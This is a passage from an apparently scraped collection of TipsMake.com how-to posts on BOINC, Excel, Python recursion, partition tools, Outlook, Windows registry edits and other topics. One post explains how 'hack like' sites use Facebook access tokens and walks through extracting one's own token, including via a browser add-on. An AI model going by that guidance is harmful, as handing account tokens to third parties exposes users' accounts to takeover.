deadline if you finish the task before the other user. Use the Statistics and Disk tab for graphical representations of your contributions and the amount of disk space BOINC uses.  Part 3of 3:\nEnabling GPU Processing  Find your GPU model. Some projects support additional processing by harnessing your computer's GPU, which can massively increase your contributions to the project.[6]Check your computer's hardware information to find your model.\n  Join a project that works with your GPU. Visit this BOINC web page. Scroll down to the specific project requirements. If you see one that mentions your GPU model, you can join that project and potentially increase your BOINC contributions many times over. Join the project from BOINC manager, using the same process described above.   Look for evidence that the GPU is in use. Open the Event Log in BOINC Manager, using Ctrl+Shift+E (⌘ Command+Shift+E on a Mac). If you see a reference to \"GPU,\" your mission was successful. By default, BOINC won't use your GPU while you are using the computer. Leave the event log open for a couple minutes without touching the mouse or keyboard.   Update your GPU drivers. If you see no evidence of GP use, you may need to update your drivers: Windows users can update using their Device Manager program, or by downloading the update directly from the manufacturer website (such as NVIDIA). Most Mac users can update using the Software Update program available from the top Apple menu, or directly from the manufacturer website. Mac users with an NVIDIA GPU should look up their GPU's Compute Capability on this product list. If it is 1.4 or greater, download the CUDA 7 driver. If 1.3 or less, or if the GPU is not on the list, GPU processing will not work with BOINC.   Marvin Fry Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqju8inmg%3D%3D\n","link":"/post/how-to-use-boinc/","section":"post","tags":null,"title":"How to Use BOINC"},{"body":"The data in the Excel document file that you are referencing has many blank cells and blank lines that cause the Excel file to reverse the data position. You want to delete all the empty cells in that data file but if you delete each cell one by one, it will take a lot of time.\nInstead of deleting cells one by one, you can delete empty rows or empty columns to shorten the operation time.\nThe following article shows you how to delete blank lines in Excel 2013, with Excel 2010 and 2007 you do the same.\nMethod 1 Step 1: First you need to select the data to be deleted, you can select the entire data in the sheet using the key combination Ctrl + A .\n  Step 2: Next, select the Home tab -\u0026gt; Find \u0026amp; Select -\u0026gt; Go To Special (or press Ctrl + G and select Special ).\n  Step 3: The Go To Special dialog box appears, select Blanks and click OK .\n  Step 4: Now all blank cells are selected, you select the Home tab -\u0026gt; Delete -\u0026gt; Delete Sheet Rows to delete blank lines.\n  If you want to delete empty columns, then select Delete -\u0026gt; Delete Sheet Columns .\n  If you want to delete all blank cells, then right-click and select Delete (or press Ctrl + - ) to open the Delete dialog box .\n  Here you can leave the default Shift cells up or you can select Entire row or Entire column to change surrounding cells. Click OK to delete the empty data box.\n  Method 2 Step 1: Select the data you want to delete blank lines or you can select the entire data with Ctrl + A combination .\n  Step 2: Select the Data tab , in the Sort \u0026amp; Filter section you choose Filter .\n  Step 3: Next, select the arrow icon in the first cell of any column. Here you deselect in the Select All section .\n  Step 4: Drag the scroll bar right down to the bottom and select the Blanks box and click OK .\n  Step 5: Now the blank lines will be filtered, you select the tab Home -\u0026gt; Delete -\u0026gt; Delete Sheet Rows to delete the blank lines.\n  Also you can use VBA to delete blank lines, but that is a bit complicated for those who are not familiar with VBA. So you only need to use one of the two methods above to quickly delete blank lines in Excel. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0edOoZJ2dnJrBpnnBpZino12htq%2Bx0maZpZmeoHqttc2eqmahnmKyua%2FEpQ%3D%3D\n","link":"/post/instructions-to-delete-blank-lines-blank-lines-in-excel/","section":"post","tags":null,"title":"Instructions to delete blank lines (blank lines) in Excel"},{"body":"Most popular web browser platforms such as Firefox, Chrome, etc. are planning to stop supporting legacy versions of TLS (Transport Layer Security), because these are older versions, can pose a much higher security risk than newer versions.\nMicrosoft first announced plans to cut back on the use of TLS 1.0 and 1.1 in October 2018 and today, the company has officially launched a roadmap to remove TLS 1.0 and 1.1 versions from its submission platforms. Current browsers, including Edge Chromium, IE, and Edge Legacy.\nSimilar to Google's approach with Chrome, Microsoft plans to remove support for the above versions of TLS in the first half of this year, but due to a number of situations involving the COVID-19 outbreak, the Exchange has somewhat delayed. Microsoft has also announced it will skip version 82 of the Edge browser for this reason.\nAs such, for Microsoft Edge Chromium, support for TLS 1.0 and 1.1 will be removed sooner on version 84 (currently scheduled for release in July). In the case of Internet Explorer 11 and Edge Legacy (versions supporting EdgeHTML), support for these older TLS versions will be disabled by default starting September 8, 2020, when Microsoft broadcasts. Release the monthly Windows update Patch Tuesday.\nTLS (Transport Layer Security) is the protocol used to encrypt the connection between the browser and the website that a user visits. This protocol creates an encrypted channel so that data sent and received to the website is encrypted and cannot be accessed by third parties. TLS 1.0 and 1.1 are outdated versions (which appeared 20 years ago) that are no longer suitable for current usage and contain many exploitable security holes.\nThe statistics also show that most websites no longer use this protocol, instead of newer TLS versions such as TLS 1.2, TLS 1.3. Therefore, end users will not encounter any major problems when browsers stop supporting TLS 1.0 and 1.1.\n  ncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYq6vus6upZydlGKubr7OmpummaBis7C%2BjKucpqemnruoedOlqmZpYGKur7CMamhmnqKkum6xw6CcZqGVYq6vsIyem6CdXaGyqK3Csg%3D%3D\n","link":"/post/microsoft-announced-a-roadmap-for-removing-tls-1-0-and-1-1-from-edge-ie-and-edge-legacy/","section":"post","tags":null,"title":"Microsoft announced a roadmap for removing TLS 1.0 and 1.1 from Edge, IE, and Edge Legacy"},{"body":"In previous Python articles, you learned about Python functions, built-in Python functions, and user-defined Python functions. In this article we will learn more about recursive functions in Python, which call itself, as well as how to create recursive functions and examples.\nWhat is the recursive function in Python? Recursion is a way to program or code a problem, in which the function calls itself once or more times in the code block. Usually, it returns the return value of the function call. If the function definition satisfies the recursive condition, the function is called a recursive function.\nCondition terminated: A recursive function must have conditional termination to stop calling itself back. Recursive functions cease when each recursive call has reduced the number of solutions to the base condition. A basic condition is the point at which the problem is solved and no further recursion is required. If recursive calls cannot reach the base condition, the recursive function becomes an infinite loop.\nThus, it can be said that recursion in computer science is a method of solving problems based on solving smaller cases of the same problem.\nIn Python, the recursive function is similar, can call itself and has a base condition for recursive termination.\nExamples of recursive functions in Python The most classic example of recursive function is the factorial of an integer. The factorial of a number is the result of multiplication from one to that number. For example, 5 factorials (written as 5!) Are 1 * 2 * 3 * 4 * 5 = 120.\nIn Python, the factorial of a number is written as follows:\n def giaithua(n): \"\"\"Đây là hàm tính giai thừa của một số nguyên by TipsMake.com\"\"\"  if n == 1: return 1 else: return (n * giaithua(n-1)) num = 5 num1 = int(input(\"Nhập số cần tính giai thừa: \")) print(\"Giai thừa của\", num, \"là\", giaithua(num)) print(\"Giai thừa của\", num1, \"là\", giaithua(num1))   In the above example, look at the definition of the function giaithua(n) , in the if . else statement, the giaithua(n) function giaithua(n) has called itself again. Run the above code and get the following result:\n  When calling the function giaithua(n) with a positive integer, it will call recursively by decreasing the number. Each time the function is called, it multiplies the number with the factorial of 1 until the number equals 1. This recursive call can be explained in the following steps:\n giaithua (4) # The first call with 4 4 * giaithua (3) # Second call with 3 4 * 3 * giaithua (2) # The third call with 2 4 * 3 * 2 * giaithua (1) # The fourth call with 1 4 * 3 * 2 * 1 # Returned from call 4 when number = 1 4 * 3 * 2 # Returned from call 3 4 * 6 # Return from call 2 24 # Returns from the first call  The recursion ends when the number drops to 1. This is called the base condition. Each recursive function must have a basic condition to stop recursion or it will become an infinite function, calling itself to it.\nAdvantages of recursive functions: Recursive functions make the code look leaner and softer. Complex tasks can be divided into simpler problems using recursion. Creating sequences with recursion is easier than using nested loops. Disadvantages of recursion: Sometimes the logic behind recursion is quite difficult to understand. Call recursion is expensive (ineffective) because they take up a lot of memory and time. Recursive functions are difficult to debug. Each recursive function calls itself stored on memory. Therefore, it consumes more memory than traditional functions. Python will stop calling the function after 1000 calls. If you run the code below:\n def giaithua(n): \"\"\"Đây là hàm tính giai thừa của một số nguyên by TipsMake.com\"\"\"  if n == 1: return 1 else: return (n * giaithua(n-1)) print (giaithua(1001))  Will receive an error message:\n RecursionError: maximum recursion depth exceeded in comparison  This problem can be solved by adjusting the number of recursive calls, as follows:\nimport sys sys.setrecursionlimit(5000) def giaithua(n): \"\"\"Đây là hàm tính giai thừa của một số nguyên by TipsMake.com\"\"\"\n  if n == 1: return 1 else: return (n * giaithua(n-1)) print (giaithua(1001))  But remember, there is still an input limit for factorial functions. For this reason, you should use recursion wisely. To calculate factorial, recursion is not the best solution, for other issues such as directory traversing (traversing a directory), recursion is a good solution.\nPython recursive lesson stops here. In the next lesson, we will learn about the Python / Anonymous function / Python function, so don't miss it.\nDo not forget to store your Python files.\nNext lesson: Anonymous function, Lambda in Python\nPrevious post: Python function parameter\nncG1vNJzZmismaXArq3KnmWcp51kv6av1Kuqoq6VYrO2usKtoKimXZ67brzYrZ%2Bopg%3D%3D\n","link":"/post/recursive-function-in-python/","section":"post","tags":null,"title":"Recursive function in Python"},{"body":"Any child likes to have new toys but they quickly get bored of that toy. So why do parents not think about making their own new toys by themselves with the main ingredients from household items? If any parents do not know how to make their favorite toys for babies, please see how to make snowballs.\nDiscover the steps to learn how to make a beautiful handmade snow globe below.\n  You need to have: A bottle or a glass jar with lid Plastic adhesive A small plastic animal model that can be put into a jar Clean water Glycerin solution Purl, small colorful plastic beads Step 1: Open the lid and attach the glue to the small plastic animal model and place it inside the bottle.\n  Step 2: Pour an equal amount of clean water and an equal amount of Glycerin solution into the bottle.\n  Step 3 : Add extra purl.\n  Step 4: Twist the cap with the small animal model attached.\n  And the job is complete!\n  ncG1vNJzZmismaXArq3KnmWcp51kwKq5z6WcZqukmr20edOoZKaZm5p6onnSp6awZZehvKOxjJ%2Bmq2WppMKzecGambI%3D\n","link":"/post/simple-steps-to-make-a-snow-globe-for-your-baby/","section":"post","tags":null,"title":"Simple steps to make a snow globe for your baby"},{"body":"There are many software for managing disk partitions on the network that confuse you to know which software to use. This article will share some of the best software to help partition hard drives, USB drives, SSDs, etc.\nWhy do you need to partition your hard drive or USB drive? Many users want to partition internal hard drives and external hard drives for efficient data management.\nWindows also provides an integrated partition management tool. Windows users can partition any drive through the computer management panel. However, this process is difficult to implement and takes a long time. And if any error occurred during partitioning, your entire drive will be corrupted.\nTherefore to overcome these problems, a variety of partition management software was born. Here are the best free disk partitioning software for Windows.\nFree disk partition management tools 1. EasyUS Partition Master Free 2. Mini Tool Partition Wizard 3. Paragon Partition Manager 4. AOMEI Partition Assistant SE 5. Tenorshare Partition Manager 6. Active @ Partition Manager 7. GParted 8. Cute Partition Manager 9. Macrorit Partition Expert 10. IM-Magic Partition Resizer 1. EasyUS Partition Master Free Download EasyUS Partition Master Free for Windows   EasUS Partition Master Free is one of the best disk management tools for Windows operating systems. It is a free utility that allows users to create, format, and delete partitions of drives. Not only that, EasUS Partition Master Free can also be used to minimize, resize, hide or show existing partitions. Therefore, EasUS Partition Master Free is one of the best free partition management software that you can use right now.\n2. Mini Tool Partition Wizard Download the Mini Tool Partition Wizard for Windows   If you're looking for partition management software with a clean and friendly interface, the Mini Tool Partition Wizard might be the best option for you. With this tool, you can easily create, resize partitions, delete disk partitions. In addition, Mini Tool Partition Wizard also has the feature to recover data from previously created disk partitions. So Mini Tool Partition Wizard is another best partition management tool that you can use on your Windows computer.\nRestore deleted drive partitions with Active Partition Recovery 3. Paragon Partition Manager Download Paragon Partition Manager for Windows   Paragon Partition Manager is another famous partition management software on the list with tons of useful features. You can create new partitions, move, resize, change existing volume volume labels. What makes Paragon Partition Manager different from the software on this list is the ability to convert HFS drives to NTFS.\nPartitioning file manager choose NTFS or FAT32? 4. AOMEI Partition Assistant SE Download AOMEI Partition Assistant SE for Windows   AOMEI Partition Assistant SE is another good free partition management software on the list that is used a lot. This tool provides more features than other tools in the article. Some of its main features are resizing, merging, creating, dividing partitions. In addition, AOMEI Partition Assistant SE is also used to create USB boot.\n5. Tenorshare Partition Manager Download Tenorshare Partition Manager for Windows   Tenorshare Partition Manager is a partition management software with a clean and easy to use interface. You can easily create, merge, split, change existing partition sizes or new partitions. In addition, this software works with many file systems. The only downside of Tenorshare Partition Manager is that it cannot manipulate the system partition and receive late updates.\n6. Active @ Partition Manager Download Active @ Partition Manager for Windows   If you are looking for a software to manage Windows 10 partitions to create new partitions in an unallocated space, you should try Active @ Partition Manager. This is one of the best and easiest to use partition management software. With this tool, you can resize, convert or format existing partitions. Active @ Partition Manager works on most Windows versions.\n7. GParted Download GParted for Windows   GParted is a portable software used to manage partitions. Since this is a portable software, GParted can be run from boot disk or USB device. With GParted, you can easily format, resize partitions EXT2 / 3/4, NTFS, XFS, FAT16 / 32.\n8. Cute Partition Manager Download Cute Partition Manager for Windows   Cute Partition Manager is one of the best and unique partition management tools for Windows. Cute Partition Manager is quite different from the software on this list. The software does not run from the operating system, users need to download Cute Partition Manager on a bootable flash drive or disk. With Cute Partition Manager, you can easily delete, resize or create partitions.\n9. Macrorit Partition Expert Download Macrorit Partition Expert for Windows   If you are looking for a partition management software with a user-friendly interface, Macrorit Partition Expert is an appropriate choice. Like other partition management software, Macrorit Partition Expert offers many features like resizing, moving, deleting, formatting partitions.\n10. IM-Magic Partition Resizer Download IM-Magic Partition Resizer for Windows   IM-Magic Partition Resizer is the best and extremely easy-to-use partition management software for Windows 10 computers. The software provides users with a variety of partition management features such as creating, resizing , convert NTFS to FAT32, hide partitions. However, IM-Magic Partition Resizer limits other useful features in the pro version.\nAbove are the 10 best partition management tools you can use on Windows 10 computers. Hope the article is useful to you!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jGpnZp6imrJuw8inm6ivo2K9or7Toquip55iuqK6wKCcpp2eqXq0u8WtrpqqlQ%3D%3D\n","link":"/post/top-10-free-windows-partition-management-software/","section":"post","tags":null,"title":"Top 10 free Windows partition management software"},{"body":"Adult movie websites have extremely terrible hits, even in some countries the number of visits to these sites is higher than that of Twitter or Netflix. According to data from similarweb.com, the total access to famous websites in the field of adult web from August to October 2019 reaches billions.\nMostly, users use incognito mode when accessing these websites but still get data collected. Behind every adult site is a technology company with the ability to collect the most sensitive information from users.\n  So, watching free adult movies online, what do you pay for it?\nRevealed each sensitive hobby Even if users delete cookies or browse in incognito mode, any actions they leave on the network will become traces for advertising tools to collect.\nWhen users surf the web in incognito mode, their information such as screen resolution, browser version, time, and plugins included in the browser are revealed.\nMany famous adult websites such as Po ., YouP . or Red . are owned by MindGeek, a company introduced as \"a leader in IT, web development and search optimization\". . When registering as an advertising partner of MindGeek, advertisers can select information about their interests, sexual orientation (gay, heterosexual or female), country, city, or time of person. Watch movies often watched by adults.\nSimilarly, another well-known adult site xH . operated by Hammy Media also provides advertisers with options to be able to target the desired audience.\n  Both Google and Facebook know every time you visit an adult site The analysis of 22,484 adult websites from researchers from Microsoft, Carnegie Mellon and the University of Pennsylvania in September showed that 93% of adult movie websites leaked user data to third parties. , including when the user activates incognito mode.\nIn March 2018, a study showed that 74% of websites were installed tracking tools by Google or its subsidiaries, equivalent to about 16,638 websites. Oracle and Facebook accounted for 24% (5,396) and 10% (2,248), respectively.\n  Using incognito mode in the browser only saves the information in the browser history, and their data is still transferred to third parties. The truth is that adult movie sites have a similar tracking mechanism to e-commerce sites, but their information is much more sensitive.\nVirtual fingerprint of the user When collecting enough data about users, websites can link them together to form \"virtual fingerprints\". When you visit any website, this \"virtual fingerprint\" will tell the site that you are a previous user and continue to collect information to get a virtual profile of your interests. . Knowing users' preferences, these sites can sell ads, luring users to sign up for paid packages by offering relevant content. The main source of revenue for adult websites comes from advertising and paid content.\nIn fact, collecting user data is not just a problem for adult websites alone. With the vast amount of data collected, websites can predict trending keywords by applying technologies like artificial intelligence.\ncollect user data block adult sites ncG1vNJzZmismaXArq3KnmWcp51kxKLAwqGgp59dlrG2uNNmpKiumZrAbrvNpaCnnV2staLAjJ2mZrGfqnqxrdhmnaiqXZ7B\n","link":"/post/watching-adult-movies-online-what-do-you-pay-for-it/","section":"post","tags":null,"title":"Watching adult movies online, what do you pay for it?"},{"body":"Facebook is a famous social network and has a lot of users. Because of that, a series of Facebook services were born. But when you want to use third-party services developed for Facebook, you will see the keyword \"Token\". So what is Facebook Token? Get FB Token to do? In this article, Software Tips will help you answer.\n  1. What is Facebook Token? How effective? The Facebook token is a short piece of code containing the data of a Facebook account. With a Facebook Token we can control and access a lot of different content on Facebook such as: Like, Comment, Share, . Currently Token is used very popular in hacking like sites for free and pay the fee. To log into hacked like sites, users must use Token to be able to exploit all the features. They will use your Token to cross-exchange with others (Nothing is completely free), when you use those services, it is simply that you and others interact with each other.\nWith Hack like sites, they have many ways to get different Tokens such as Logging into the Facebook application, . Each Web site they develop in a separate direction so that customers and users are most comfortable.\nWith Token we can:\nLike the article Comment article Share the article . Note: Token changes only when users change their Facebook password. Every time you change your Facebook password, the Token will automatically change.\n2. How to get Facebook Token fast Currently there are many ways to get Token on Facebook quickly, but most will take on hack like pages, increase Facebook likes. But this will not be safe, so in this article the Software Tips will guide you the safest way possible.\n1. Get a Token manually Step 1: You proceed to access the following link https://developers.facebook.com/tools/explorer.\n  Step 2: Here you proceed to click Select code and select Get user access code .\n  Step 3: There will be a window giving you to choose the rights granted to the Token. Depending on the needs of the user, you choose the Token content to be used. After choosing the right to finish, select Get access code .\n  Step 4: Then on the Access Code section will appear your Token. You can Copy to use.\n  2. Get Token with Add-on How to get Token by Add-on is extremely simple but we can only use it on Chrome and Coc Coc browsers. First you need to install the Add-on Get Token.\nhttps://chrome.google.com/webstore/detail/get-token/hflehknmbclehjlgcincfhhhkonjhldc?hl=en\nStep 1: You proceed to click the Get Token icon on the browser toolbar and select Get Token .\n  Step 2: Then your Token will appear through the browser pop-up window.\n  Thus, in this article, the Software Tips introduced you to tokens and how to use them, how to get tokens. I wish you success!\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWWlrCmrs6oomasn6Cyr3nWoZitZaSkeqix02adm2WkpLimuoyhprBlpKR6qLHTZp2aq6Ris6N506iinqY%3D\n","link":"/post/what-is-facebook-token-what-to-get-fb-token-how-to-get-fast-fb-token/","section":"post","tags":null,"title":"What is Facebook Token? What to get FB Token How to get fast FB Token"},{"body":"To make it easier for users in Vietnam to access Comodo security software system, the company has launched the latest promotion in this attractive market. Today, TipsMake.com introduces you to Comodo Internet Security PRO 8 application as well as promotions including 500 keys for 6 months free use of CIS Pro 8.\n\u0026gt;\u0026gt;\u0026gt; Refer to CIS Pro 8 here. \u0026gt;\u0026gt;\u0026gt; How to register and receive 6-month copyright activation key of CIS Pro 8.   The previous CIS Pro 7 version has also won numerous security solutions, typically Anti Malware Solution of the Year from the Computing Security Awards.\nComodo Internet Security Pro 8 offers a powerful protection solution that eliminates threats from viruses and is fully protected from Comodo. Comodo Internet Security Pro 8 provides more than the antivirus solutions that the internet environment needs.\nThe best virus prevention technology on the market. Guaranteed. Comodo Internet Security Pro 8 is committed to protecting against viruses and malware, focusing on blocking, not just detection. Our patented pending blocking technology creates an inviolable shield that identifies which files are safe, unsafe and suspicious. Comodo Internet Security Pro 8 provides real-time protection against viruses, trojans, adware, spyware and other dangers. Anti-virus programs work thanks to signature updates, but Automatic Sandbox Technology means that you are protected against unspecified threats.\nGuaranteed virus-free package worth $ 500 Comodo believes that security software companies must stand behind their products, which is why we included Comodo Internet Security Pro 8 with a special guarantee. If your computer is infected with viruses, our online technicians will fix the problem completely free for you. To ensure this, Comodo guarantees a $ 500 repair fee when your computer is infected with a virus or malware and we cannot restore the working state. With Comodo Internet Security Pro 8, you get security, software, support and peace of mind.\nMore than a security package Comodo Internet Security Pro 8 is more than a normal security package, it provides 24/7 access to highly trained professionals ready to provide support anytime you need, date or buffer. Just click on the icon on the desktop and you will be connected to Comodo security expert who will help you through chat and remote connection to the computer.\nSystem requirements: Operating system: Windows 7 / Vista / XP SP2 / Windows 8 152 MB RAM / 400 MB of free hard disk space synthetic\nncG1vNJzZmismaXArq3KnmWcp51kqKe%2BxJ6UZm5doryvwMesZKWhk5q7tLGMnKamp5Skeqq6056pp52kYsCmr9SroK2xXaW%2FsHmX\n","link":"/post/free-6-months-license-comodo-internet-security-pro-8/","section":"post","tags":null,"title":"[Free] 6 months license Comodo Internet Security Pro 8"},{"body":"TipsMake.com - The vast majority of current users like and often use Gmail as their primary email address, but going to the web and checking email regularly in an office environment is too cumbersome sometimes because of the network. slow. Declaring to add a Gmail account into Outlook 2007 is too simple and this article will show you how to do it. First, make sure your Gmail account has POP ( Post Office Protocol ) enabled mode. If you have not set this mode, go to your Gmail account, go to Settings -\u0026gt; Forwarding and POP / IMAP and set the options as follows:\n  Note that when the When messages are accessed with POP option is not set to Delete , because all mail in the Gmail account will be downloaded to the client and mail on the server will be deleted. After you've set up Gmail, open Outlook 2007 and go to Tools -\u0026gt; Account Settings .\n  In Account Settings section, select the E-mail tab and click New .\n  The Add New E-mail Account window appears, click Next\n  Enter all the information about your Gmail account (note that the Manually configure server settings or additional server types button is not clicked). Click Next after the information has been declared.\n  After Outlook has finished configuring the Email server settings, you receive the following message and click Finish .\n  Go back to the mail browsing interface and click the Send / Receive ( Ctrl + M ) button to download mail to your device.\n  If there is a problem setting up automatically and Outlook does not automatically receive the Gmail server, you need to select the Manually Configure Server option and enter the following details:\nEmail Address : Full name (chosen by you)\n Incoming Mail Server : pop.gmail.com\n Outgoing Mail Server : smtp.gmail.com\n User Name : Full name of email address\n   Click on the More Settings button . , switch to the Outgoing Server tab and select My Outgoing server to require authentication\n  Forward to the Advanced tab and change the values ​​of the following parameters:\n Incoming Server : 995\n Check the This server requires an encrypted connection (SSL) section\n Outgoing Server (SMTP) : 587\n Change the Use the following type of encrypted connection to Auto or use TLS if there is still a problem.\n   Close the setup window and try to check if the Gmail account on Outlook is working.\nncG1vNJzZmismaXArq3KnmWcp51ksaavy5qpnmWXoq6quIyopWanpam5sLvKZmlpaGc%3D\n","link":"/post/declare-gmail-on-outlook-2007/","section":"post","tags":null,"title":"Declare Gmail on Outlook 2007"},{"body":"Yesterday (December 4, 2017), Facebook announced a new messaging application called Facebook Messenger Kids. The app allows parents to have control over who can chat with their children. This means that children will not use the full version of Facebook and cannot talk to strangers.\nThe application has no ads, so Facebook does not share anything with advertising partners and also does not have in-app purchases. Facebook said that Messenger Kids meet the Children's Online Privacy Protection Act (Children's Online Privacy Protection Act). However, it is designed for children who are not teenagers, which has opened a debate about whether young people should use chat applications early. The application is available for iPhone in the US and will launch on Android in the coming months.\nHow to use Facebook Messenger Kids The picture below is the Facebook Messenger Kids application, which has a different icon than regular Facebook Messenger.\nHow to log out of Facebook Messenger on iOS, Android and Windows Phone   First, parents need to use their Facebook account to allow children to use the application.\n  Then, enter your child name.\n  Facebook will display this screen, confirm it will keep the children's messages and allow you to control who can talk to your child. Next, take a picture of the children.\n  Then select a color for the application.\n   This is the main screen children can add contacts and take photos.\n  Below the screen when your child asks parents to add contact.\n   This is a screen shot when the parent approves a request to add a contact.\n  Parents can't see their child's chats but can delete friends.\nHow to delete all messages on Facebook Messenger with just one click   Facebook Messenger Kids application when video chat also has masks like regular Messenger application.\n   Download : Facebook Messenger Kids\nSee also: How to call, video Facebook Messenger on mobile, tablet\nncG1vNJzZmismaXArq3KnmWcp51ks6KvxJumqKNdorK0v8Snnp6qXaC2pb%2BMoaawZaSkera%2FxA%3D%3D\n","link":"/post/facebook-messenger-kids-how-to-use/","section":"post","tags":null,"title":"Facebook Messenger Kids: How to use?"},{"body":"On Tet holiday, everything changes according to spring colors. This is also the best time for you to record the moments and scenes of joyful people and land. Some of the following notes will help you get good photos in spring .\n1. Should choose the first days of opening If you intend to take photos at flower fairs, you should prepare, carefully arranged before taking photos for the whole family to get good photos. The ideal time to take photos is the opening days. At this time, the types of flowers and exhibits are very fresh and very beautiful and have not been 'degraded' by the 'warm' excessive visitors. You will be able to easily choose a good location to take pictures, avoid crowded scenes and be 'entangled' in passersby because the number of visitors is not as much as the time of Tet.\n  You may want to read more:\nHow to take beautiful night photos, not blurry Places to enjoy interesting New Year's festival near Hanoi 2. Shooting with natural light during the day Only natural light during the day helps you feel all the colors of the flowers in the spring garden, the color of the new photos is fresh, vibrant, and the true color of nature. So take it when it's still bright and remember to take it outside. The time between 7 am and 10 am is ideal, the sun shining is very beautiful, the weather is still cool, when people are photographed naturally, fresh and comfortable. Over this time, the weather will be very hot with intense sunshine, very bright sunshine and shining from the top of the head often cause shadow to cover the face, the color of the photo is not beautiful because of the high contrast. not to mention the photographed person will be emaciated, grimace, eyes narrowed because of the glare.\n  3. Avoid 'obsessive' images The light always changes with the time of day, not only changing the direction but also changing the color. Sunlight is white in the morning, gradually turning to color when in the afternoon, eventually turning to orange at sunset. If taking photos in the afternoon onwards, photos will be haunted by the sun's light.\nIn addition, when taking portraits or selling themselves in the sun, if the photographed person holds a sun umbrella or wears a colorful and dazzling shirt, or when they bend their faces close to the flowers, the color of the The umbrella, the shirt, the flowers will also make their faces 'obsessed' (the color is misleading: redder, more yellow by the color of the umbrella, the shirt, the flowers). To avoid this, press the shutter when it is sunny, moderate intensity (cloud cover) or better for the subject to stand in the shade.\n4. Notice the background Many people look at the viewfinder to get a composition, they only pay attention to the subject being taken but don't watch the background behind the subject. When reviewing the photo, discovering 'trivial' errors is difficult to accept behind the subject. For example, street vendors, public trash cans, 'ban on picking flowers' ('ban on grass'; 'WC'), plastic bags, confectionery packages that other people throw at the bottom. land or park benches where people are sitting in a 'not so beautiful' posture .\n5. Don't let the main character get too small When taking souvenir photos taking both people and scenes, surely you will encounter situations of photos that get all the surrounding scenery like ancient apricot trees, Notre Dame Cathedral, Vinh Nghiem Pagoda, City People's Square, buildings on the street . but the main character in the image is tiny. How to still take the \"full viewfinder\" who was taken and the scenery around? Solving this problem is very simple. First, move and watch the machine to get the full view. Then, instead of arranging the person who was taken right under the monument, the architecture (as a common practice in many people) tells them to move toward the camera, until you see their image in the frame. Watching 'big enough' stops and poses. At this point, you just click capture. Make sure your photo will get the image you want.\n6. Use macro mode to specify the flowers If you want to get impressive photos of the flowers as often seen on postcards, you must use the camera mode to macro mode. To do so, look for the macro icon on the function buttons or from the camera menu menu (the icon of a flower with 3 wings) to activate it (On). Insert the lens to kill the flower at the allowable distance (specified in the document that came with the camera), watch it carefully (because in macro mode, the clear space before and after the subject is very narrow) , take the composition, hold the device tight and press the shutter.\n  7. Vertical or horizontal alignment? Vertical alignment: For a vertical frame image, when shooting, the camera must be rotated vertically, usually when shooting high objects, such as monuments, towers, tall buildings or a single person. The advantage of taking vertical shots is to help the image have a deeper and more rigid composition. Horizontal: This method is often applied when taking a panorama, wide landscape or capturing a group of people. To take a picture with a horizontal viewfinder, simply rotate the camera horizontally when shooting. The advantage of horizontal shots is that it looks more realistic.   In general, this is just the usual shooting method, you can change as you like to create unique, creative photos. For example, take a person with a horizontal photo frame to get more shots, try shooting along subjects that were shot horizontally to get new discoveries.\n8. Choose light source Positive light source: A light that is directed at the face of the person being photographed Photos taken with this light source often have beautiful colors, clear, sharp. If the light source is strong, the sun will cause the person to be photographed with the eyes, you should choose a different light source or other shooting time. Patent source: Light only hits one side of the subject (left or right). The advantage of this light source is to help the image have a deeper depth, to clarify the details to emphasize, due to the light contrast on the image. The downside is that there may be a lack of light and the need for a photographer to have a lot of experience to be able to watch a beautiful photo. Reverse light source: Light shines directly into the lens, and comes from behind the person being photographed. This light source is often chosen to take portraits due to the creation of a bright border around the subject, the face has a natural appearance because it is not affected by light. Used to capture flowers with fragile beauty is also very suitable. The disadvantage of this light source is that the subject will be darkened, it needs to be brightened or shed light from the lens. Often only people with long-standing experience can handle images under this light source.   9. Take as many photos as possible Take lots of photos with the same object, scene, angle will help you have a chance to choose the best photo. To do this, before going to shoot, you should handle the memory card in advance. Save the necessary data to your computer's hard drive or delete unnecessary photos for more storage space for new photos.\nHopefully with these notes, you will get many beautiful photos to show off to everyone on Tet holiday!\nncG1vNJzZmismaXArq3KnmWcp51ks7C%2BjJucmq2knrO2uIypn6isn6h6sLKMrZytZWJlfng%3D\n","link":"/post/for-beautiful-photos-of-tet-2017/","section":"post","tags":null,"title":"For beautiful photos of Tet 2017"},{"body":"You can bring the option to launch Command Prompt from the right-click menu on Windows 10 and here's how.\nOn Windows 10, Microsoft continues to 'blur' Command Prompt to support PowerShell. Although the user can still use this command-line tool, its options are no longer available on the Power User menu ( Win + X ), on the File menu for File Explorer or in the contextual context menu ( Shift + Right Click ).\nAlthough there is an option in the Settings application to add Command Prompt to the Power User menu, you do not find the option to bring it back to the extended context menu.\nHowever, there is still a way to add options to open Command Prompt on Windows 10. This article will show you how to add Open command windows here option to Windows 10 context menu.\nInstructions to add cmd to Windows 10 right-click menu How to add Open command window here to the context menu Add the Open command window here to the folder context menu Add Open command window here to background context menu  How to delete Open PowerShell window Here from the context menu How to add Open command window here to the context menu Add the Open command window here to the folder context menu To add the command prompt to launch the Command Prompt in the context menu of the extended folder, you need to edit the registry by following the steps below.\nWarning : Editing the registry may cause irreparable errors if you do not do it correctly. Therefore you should back up the registry before making changes.\nStep 1 . Press Win + R to open the Run command.\nStep 2 . Type regedit and click OK to open the Registry.\nStep 3 . Browse to the following key:\n HKEY_CLASSES_ROOTDirectoryshellcmd  Step 4 . Right-click the cmd key and select Permissions .\n  Step 5 . Click on the Advanced button.\n  Step 6 . In Advanced Security Settings , click Change next to Owner .\n  Step 7 . Enter the account name in the corresponding field, click Check Names to verify that you are entering the correct account name, then click OK .\n  Step 8 . Select Replace owner option on subcontainers and objects .\n  Step 9 . Click Apply .\nStep 10 . Click OK .\nStep 11 . On Permissions , select the Administrators group.\nStep 12 . In Permissions for Administrators , select Allow for the Full Control option.\n  Step 13 . Click Apply .\nStep 14. Click OK .\nStep 15 . In the cmd key, right-click on HideBasedOnVelocityId DWORD and select Rename .\nStep 16 . Change the DWORD name from HideBasedOnVelocityId to ShowBasedOnVelocityId and press Enter .\n  When you complete the steps above, press Shift + right-click the folder, you will see the Open command window here option appear.\n  If you want to undo the change, follow the instructions above, but in Step 16, change the DWORD name from ShowBasedOnVelocityId to 